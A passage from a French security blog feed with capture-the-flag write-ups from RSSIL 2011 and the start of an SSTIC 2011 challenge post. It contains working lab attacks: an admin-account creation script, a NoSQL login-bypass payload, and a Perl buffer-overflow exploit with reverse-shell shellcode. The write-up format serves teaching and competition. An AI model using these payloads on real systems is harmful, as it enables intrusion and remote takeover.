		<description><![CDATA[J&#8217;ai participé pour la première fois aux RSSIL, événement de sécurité et d&#8217;informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l&#8217;événement se compose de conférences et de challenges. J&#8217;ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l&#8217;équipe HZV. Conférences Côté conférences, [...]]]></description>
			<content:encoded><![CDATA[<p>J&rsquo;ai participé pour la première fois aux <a href="http://www.rssil.org/">RSSIL</a>, événement de sécurité et d&rsquo;informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l&rsquo;événement se compose de conférences et de challenges. J&rsquo;ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l&rsquo;équipe <a href="http://www.hackerzvoice.net/">HZV</a>.<span id="more-911"></span></p>
<h3>Conférences</h3>
<p>Côté conférences, je n&rsquo;ai suivi que les quatre qui m&rsquo;intéressaient le plus :</p>
<ul>
<li><strong>Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?</strong>, par Robert ERRA. N&rsquo;étant pas financier, j&rsquo;ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du <a href="http://en.wikipedia.org/wiki/2010_Flash_Crash">Flash Crash</a> survenu le 6 mai 2010. La conférence s&rsquo;avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du <a href="http://bitcoin.org/">Bitcoin</a> dont on <a href="http://www.01net.com/editorial/533700/bitcoin-la-monnaie-virtuelle-qui-agite-le-web/">parle</a> beaucoup ces derniers temps.</li>
<li>Eloi Vanderbeken présente ensuite <strong>Génération et exploitation de traces</strong>. La problématique de la conférence est de déterminer l&rsquo;origine des données manipulées par des programmes malveillants. Devant l&rsquo;échec de l&rsquo;analyse statique, l&rsquo;auteur présente ses travaux d&rsquo;instrumentation basés sur des outils comme <a href="http://www.pintool.org/">Pin</a>, développé par Intel. Très instructif, mais juste dommage qu&rsquo;il n&rsquo;y ait pas eu de démo.</li>
<li><strong>Dynamic Cryptographic Backdoors</strong>, présentée par Eric Filliol. Petit état de l&rsquo;art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d&rsquo;un algorithme n&rsquo;est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.</li>
<li><strong>Android Malwares: is it a dream?</strong>, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu&rsquo;ils utilisent pour s&rsquo;octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l&rsquo;incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d&rsquo;obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d&rsquo;analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par <a href="http://androguard.blogspot.com/">Androguard</a>, framework très prometteur.</li>
</ul>
<h3>Challenge Hacknowledge</h3>
<p>Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d&rsquo;épreuves de social engineering et même hardware (cf plus bas). J&rsquo;ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l&rsquo;applicatif. Voici quelques résumés d&rsquo;épreuves.</p>
<h4>Web 1 &#8211; &laquo;&nbsp;Madame est servie&nbsp;&raquo;</h4>
<p>Autant le dire tout de suite, aucun de nous n&rsquo;a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu&rsquo;un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :</p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;
 &lt;item&gt;
 &lt;username&gt;lupin&lt;/username&gt;
 &lt;password&gt;*********&lt;/password&gt;
 &lt;email&gt;lupin@poudlard.net&lt;/email&gt;
 &lt;admin&gt;0&lt;/admin&gt;
 &lt;/item&gt;
 &lt;item&gt;
 &lt;username&gt;hermione&lt;/username&gt;
 &lt;password&gt;*********&lt;/password&gt;
 &lt;email&gt;hermione@poudlard.net&lt;/email&gt;
 &lt;admin&gt;0&lt;/admin&gt;
 &lt;/item&gt;
...</pre>
<p>La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :</p>
<pre>token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=</pre>
<p>Le résultat était alors :</p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;&lt;error&gt;User must be admin...&lt;/error&gt;&lt;/xml&gt;</pre>
<p>Aucune consigne n&rsquo;était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.</p>
<p>Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :</p>
<pre>ginny:78451b201044e6e3515855ac0fef6a4f</pre>
<p>Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n&rsquo;est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.</p>
<p>Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s&rsquo;agit d&rsquo;un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.</p>
<pre>import base64
import httplib

# Ajout d'un compte
conn = httplib.HTTPConnection("192.168.0.208")
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request( "PUT",
 "/index.php/api/users",
 "username=greg_evans&amp;password=hzv_r0x&amp;email=toto@kikoo.lol&amp;admin=1",
 headers)

"""
On obtient l'affichage suivant :
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;&lt;success&gt;User inserted successfully!&lt;/success&gt;&lt;/xml&gt;
"""

# Connexion avec ce compte
conn.request( "POST",
 "/index.php/api/validate",
 "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"),
 headers)
"""
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;xml&gt;
 &lt;status&gt;success&lt;/status&gt;
 &lt;description&gt;
 Bien joue, vous avez resolu cette epreuve !
 &lt;/description&gt;
 &lt;code&gt;ROBBIE_THE_RETURN&lt;/code&gt;
&lt;/xml&gt;
"""</pre>
<p>On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l&rsquo;épreuve.</p>
<h4>Web 2 &#8211; Captcha textuel</h4>
<p>La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un <a href="http://fr.wikipedia.org/wiki/Captcha">CAPTCHA</a> implémenté sous la forme d&rsquo;une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu&rsquo;il y a à peine une quinzaine de questions différentes. Aussi il est possible d&rsquo;automatiser les requêtes en se constituant d&rsquo;un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j&rsquo;ai fait face venait de l&rsquo;utilisation des cookies, alors que j&rsquo;utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n&rsquo;ai pas le code source de l&rsquo;épreuve, mais voici pour information le code qui nous a permis de la valider :</p>
<pre>import httplib

soluce = {
 "serpent" : "reptile",
 "chiot" : "canin",
 "toutou" : "canin",
 "pigeon": "oiseau",
 "papillons" : "insecte",
 # ...
 }

URL = "/6f503c90-8877-11e0-9d78-0800200c9a66"
cookie = ""

for i in range(5):

 headers={}

 if cookie!="":
 headers["Cookie"] = "PHPSESSID="+cookie

 conn = httplib.HTTPConnection("192.168.0.207")
 conn.request("GET", URL+"/inscription.php", None, headers)
 r = conn.getresponse()

 try:
 cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0]
 print cookie
 except:
 pass

 t = r.read()
 #print t

 reponse =""
 for m, r in soluce.items():
 if m in t:
 reponse = r

 print "===&gt; reponse : ",reponse

 conn = httplib.HTTPConnection("192.168.0.207")
 headers = {"Content-type": "application/x-www-form-urlencoded",
 "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie}
 conn.request( "POST",
 URL+"/valider.php",
 "nom=aaaaaaaaa&amp;prenom=aaaaaa&amp;email=toto%40gmail.com"+
 "&amp;valider=Valider&amp;mot="+reponse,
 headers)
 t = conn.getresponse().read()

 print t

 if "Erreur" in t:
  break</pre>
<p>Après 5 CHAPTCHAs validés, le flag de l&rsquo;épreuve s&rsquo;affiche sur la page.</p>
<h4>Web 3 &#8211; &laquo;&nbsp;In The Clouds&nbsp;&raquo;</h4>
<p>Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d&rsquo;après le staff un bon indice concernant l&rsquo;épreuve. N&rsquo;étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d&rsquo;être mal filtrés. Une des pages possède le paramètre GET &laquo;&nbsp;cat&nbsp;&raquo; qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d&rsquo;injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m&rsquo;aperçois qu&rsquo;il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de <a href="http://fr2.php.net/unserialize">unserialize()</a>, et je constate qu&rsquo;il s&rsquo;agit d&rsquo;un tableau de session PHP. Je tente alors d&rsquo;injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu&rsquo;un rapide passage d&rsquo;Acunetix, mais toujours rien. Damned&#8230;</p>
<p>Il nous a fallu un certain temps avant de nous rendre compte que la page &laquo;&nbsp;Mentions légales&nbsp;&raquo; du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d&rsquo;exploitable à priori. Concernant <a href="http://www.mongodb.org/">MongoDB</a>, personne d&rsquo;entre nous ne le connaissait. Il s&rsquo;agit en fait d&rsquo;un gestionnaire de BDD qui, selon Wikipédia, est &laquo;&nbsp;orienté document&nbsp;&raquo; , scalable (d&rsquo;où le &laquo;&nbsp;cloud&nbsp;&raquo;), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du <a href="http://en.wikipedia.org/wiki/NoSQL">NoSQL</a>. Ce <a href="http://blog.xebia.fr/2010/04/21/nosql-europe-tour-dhorizon-des-bases-de-donnees-nosql/">langage</a>, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.</p>
<p>Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d&rsquo;effectuer des <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">Injections NoSQL</a>, qui sont plus ou moins l&rsquo;équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :</p>
<pre>$users-&gt;find(array(
"username" =&gt; $_GET['username'],
"passwd" =&gt; $_GET['passwd']
));</pre>
<p>Effectuer une requête du type <code>login=hzv&amp;pass=1' or 1=1</code> ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :</p>
<pre>login=hzv&amp;pass[$ne]=1</pre>
<p>En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :</p>
<pre>Array(
  '$ne' =&gt; 1
)</pre>
<p>Appliquée dans le cadre d&rsquo;une requête, ce tableau fait office de condition sur le champ &lsquo;passwd&rsquo;, l&rsquo;<a href="http://www.mongodb.org/display/DOCS/Advanced+Queries">opérateur </a>$ne signifiant &laquo;&nbsp;pas égal&nbsp;&raquo;. Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d&rsquo;école, mais encore fallait-il y penser&#8230;</p>
<p>A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d&rsquo;éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un <code>&amp;admin=1</code> dans les données POST envoyées, et ça marche <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être&#8230;</p>
<h4>Web 5 &#8211; &laquo;&nbsp;Jeux thons&nbsp;&raquo;</h4>
<p>Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 &laquo;&nbsp;Authorization Required&nbsp;&raquo; sans plus d&rsquo;explications. On a alors l&rsquo;idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d&rsquo;injecter du code PHP via l&rsquo;URL de la 1ère page pour qu&rsquo;il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n&rsquo;est présente autre part ailleurs sur le serveur.</p>
<p>En inspectant de plus près le fichier error.log, on remarque qu&rsquo;un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la <a href="http://code.google.com/p/mod-auth-token/">documentation</a> du module Apache correspondant. Ce module permet de générer des liens uniques permettant d&rsquo;accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L&rsquo;URL générée pour un fichier est du type :</p>
<pre>uri-prefix/token/timestamp-in-hex/rel-path</pre>
<p>En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple <code>dechex(time())</code>, et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d&rsquo;accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :</p>
<pre>/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php</pre>
<p>Le token est aléatoire, et le timestamp a été généré avec :</p>
<pre>php -r "echo dechex(time());";
4de08b50</pre>
<p>Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :</p>
<pre>May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth
(got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9',
uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')</pre>
<p>On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête&#8230; et on tombe sur une erreur 404 Not Found. Visiblement, il n&rsquo;y a pas de fichier index.php. On tente alors index.html, pour voir&#8230; Même technique : on envoie d&rsquo;abord un token foireux, on regarde celui attendu dans le message d&rsquo;erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.</p>
<h4>Appli &#8211; Ken Laden</h4>
<p>Il s&rsquo;agit de l&rsquo;épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n&rsquo;était pas d&rsquo;une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.</p>
<p>Le but était de prendre le contrôle d&rsquo;un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :</p>
<ul>
<li> La machine est une Debian 6 (noyau 2.6.32-5 x86)</li>
<li>Pas d&rsquo;ASLR</li>
</ul>
<p>La racine du serveur Web ressemble à ceci :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_918" class="wp-caption aligncenter" style="width: 484px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/yeswecan.png"><img class="size-full wp-image-918 " title="Yes we can" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/yeswecan.png" alt="Racine du serveur" width="474" height="378" /></a><p class="wp-caption-text">Racine du serveur</p></div>
<p>Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :</p>
<pre>Your protocol : HTTP/1.1</pre>
<p>Je forge alors une requête avec un protocole bidon :</p>
<pre>s = socket.socket()
s.connect(("192.168.0.204", 20080))
s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n")
print s.recv(4096)</pre>
<p>Et j&rsquo;obtiens :</p>
<pre>Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</pre>
<p>Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de &laquo;&nbsp;a&nbsp;&raquo;, et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L&rsquo;idéal serait d&rsquo;inspecter le code du serveur&#8230;</p>
<p>C&rsquo;est là que l&rsquo;on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :</p>
<pre>0x8048000 0x804a000
0x804a000 0x804b000
0xb7e95000 0xb7e96000
0xb7e96000 0xb7fd6000
0xb7fd6000 0xb7fd8000
0xb7fd8000 0xb7fd9000
0xb7fd9000 0xb7fdc000
0xb7fdf000 0xb7fe2000
0xb7fe2000 0xb7fe3000
0xb7fe3000 0xb7ffe000
0xb7ffe000 0xb7fff000
0xb7fff000 0xb8000000
0xbffdd000 0xc0000000</pre>
<p>Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur &laquo;&nbsp;pcat&nbsp;&raquo; nous amènent sur un <a href="http://blog.nibbles.fr/726">article</a> fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l&rsquo;outil pcat permet de dumper la mémoire virtuelle d&rsquo;un processus en cours d&rsquo;exécution. Visiblement, l&rsquo;auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s&rsquo;y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n&rsquo;est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu&rsquo;à cela ne tienne, nous pouvons dumper la section .text manuellement :</p>
<pre>f = open("rssild.pcat_dump","rb")
f.seek(0x8048000)
a = f.read(8192) # 0x804a000 - 0x8048000
open("text.bin","wb").write(a)</pre>
<p>On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu&rsquo;il s&rsquo;agisse d&rsquo;un binaire incomplet &#8211; uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à &laquo;&nbsp;Your protocol :&nbsp;&raquo;, affiché sur la page Web :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_919" class="wp-caption aligncenter" style="width: 491px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/strings.png"><img class="size-full wp-image-919 " title="Strings" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/strings.png" alt="Strings" width="481" height="59" /></a><p class="wp-caption-text">Strings</p></div>
<p>On follow tout ça, et on arrive à un appel du type :</p>
<pre>lea     eax, [esp+0EAE8h]
mov     [esp], eax
call    sub_80490BA
mov     eax, offset aBStyleColorC9d ; "...Your protocol : %s..."
lea     edx, [esp+0EAE8h]
mov     [esp+4], edx
mov     [esp], eax
call    sub_8048930</pre>
<p>Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s&rsquo;agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :</p>
<pre>push    ebp
mov     ebp, esp
sub     esp, 218h
mov     eax, [ebp+arg_0]
mov     [esp+4], eax
lea     eax, [ebp+var_1FC]
mov     [esp], eax
call    sub_8048920
leave
retn</pre>
<p>On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne&#8230; Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got.  En tout cas, la tentation est grande ! Si on regarde de plus près, 0&#215;218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d&rsquo;EBP, on obtient 512 octets. C&rsquo;est cette quantité qu&rsquo;il faudra réécrirre si l&rsquo;on souhaîte écraser la sauvegarde d&rsquo;EIP, située juste après.</p>
<p>En supposant qu&rsquo;il n&rsquo;y ait pas de protection de la pile (pas de NX), l&rsquo;exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c&rsquo;est le langage de prédilection de mon coéquipier <a href="http://shell-storm.org/">Djo</a>) :</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if (@ARGV &lt; 1)
{
print "[-] Usage:   \n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip 	 = $ARGV[0];
$port 	 = $ARGV[1];
$paddind = "A"x408;
$eip  = "\x3b\x99\x04\x08"; #call *(%eax)

#revers tcp 192.168.0.10 4444 - 99 bytes
$SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" .
"\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" .
"\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" .
"\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" .
"\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" .
"\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" .
"\x62" . $paddind . $eip;

$evil 	= "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n";

$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",
PeerAddr =&gt; "$ip",
PeerPort =&gt; "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",
PeerAddr =&gt; "$ip",
PeerPort =&gt; "$port");
$socket-&gt;send($evil);
$socket-&gt;recv($answer,2048);
print $answer;
print "\n";
close($socket);</pre>
<p>Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d&rsquo;afficher le flag de l&rsquo;épreuve. 700 points de validés d&rsquo;ou coup !</p>
<p>Notons qu&rsquo;au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue&#8230; L&rsquo;auteur de l&rsquo;épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n&rsquo;y en avait nullement besoin pour résoudre l&rsquo;épreuve.</p>
<h3>Le reste</h3>
<p>Le challenge était également composé de plein d&rsquo;autres épreuves de types variés, de mémoire :</p>
<ul>
<li> <strong>Wifi </strong>: une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d&rsquo;un accès utilisateur limité sur le portail Web.</li>
<li> <strong>Social Engineering </strong>: toute une série d&rsquo;épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d&rsquo;informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d&rsquo;IUT qui partiaipaient à un autre challenge à côté de nous <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li> <strong>Hardware </strong>: Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un <a href="http://www.pjrc.com/teensy/">Teensy</a> pour bruteforcer un mot de passe en disposant uniquement d&rsquo;un port USB pendant 2 min chrono&#8230; Heureusement que notre spécialiste hardware était là !</li>
<li> <strong>Forensics / Reverse Engineering</strong> : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.</li>
<li> <strong>Réseau / VoIP </strong>: Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n&rsquo;avons réussi aucune de ces épreuves&#8230;</li>
</ul>
<p>Bref, pas de quoi s&rsquo;ennuyer lors de cette longue nuit.</p>
<p>Retrouvez les solutions ainsi que les sources de certains de ces challenges sur <a href="http://howto.shell-storm.org/">Shell-storm.org</a>.</p>
<h3>Remise des prix</h3>
<p>Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.</p>
<div id="attachment_922" class="wp-caption aligncenter" style="width: 501px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000993_redim.jpg"><img class="size-large wp-image-922  " title="Scores intermédiaires" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000993_redim-1024x768.jpg" alt="Scores intermédiaires" width="491" height="369" /></a><p class="wp-caption-text">Scores intermédiaires</p></div>
<div id="attachment_923" class="wp-caption aligncenter" style="width: 501px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000994_redim.jpg"><img class="size-large wp-image-923  " title="Scores définitifs" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000994_redim-1024x768.jpg" alt="Scores définitifs" width="491" height="369" /></a><p class="wp-caption-text">Scores définitifs</p></div>
<p>Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l&rsquo;équipe d&rsquo;ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d&rsquo;originalité, ni de qualité.</p>
<p>A bientôt pour un mois de juin chargé avec le <a href="https://www.sstic.org">SSTIC</a> (8, 9 et 10), <a href="http://www.hackinparis.com">Hack In Paris</a> (14-17), et la <a href="http://nuitduhack.com/">Nuit Du Hack</a> (18-19) <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Solution partielle du challenge SSTIC 2011</title>
		<link>https://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/#comments</comments>
		<pubDate>Thu, 26 May 2011 17:10:31 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=898</guid>
		<description><![CDATA[Cela fait un petit moment que je planche sur le célèbre challenge de SSTIC 2011. Étant donné que je ne pense pas en venir complétement à bout, voici quelques éléments de réponses qui résument ma progression. Certains m&#8217;ayant devancé, je vais tenter d&#8217;insister sur les parties non couvertes actuellement. Extraction des pistes Le but est [...]]]></description>
			<content:encoded><![CDATA[<p>Cela fait un petit moment que je planche sur le célèbre <a href="http://communaute.sstic.org/ChallengeSSTIC2011">challenge de SSTIC 2011</a>. Étant donné que je ne pense pas en venir complétement à bout, voici quelques éléments de réponses qui résument ma progression. <a href="http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html">Certains</a> m&rsquo;ayant devancé, je vais tenter d&rsquo;insister sur les parties non couvertes actuellement.</p>
<p><span id="more-898"></span></p>
<h3>Extraction des pistes</h3>
<p>Le but est d&rsquo;analyser une vidéo et d&rsquo;en extraire un mail. Il s&rsquo;agit d&rsquo;une vidéo au format MP4. Ne connaissant absolument pas ce format au moment où je me suis penché sur le challenge, j&rsquo;ai donc préféré me documenter sur le sujet. MP4 est en réalité un conteneur, et hérite de l&rsquo;<a href="http://en.wikipedia.org/wiki/ISO_base_media_file_format">ISO Base Media File Format</a>. Les <a href="http://standards.iso.org/ittf/PubliclyAvailableStandards/c051533_ISO_IEC_14496-12_2008.zip">specs</a> de ce dernier sont libres de droits, mais pas celles de MP4. Qu&rsquo;à cela ne tienne, elles suffisent amplement.</p>
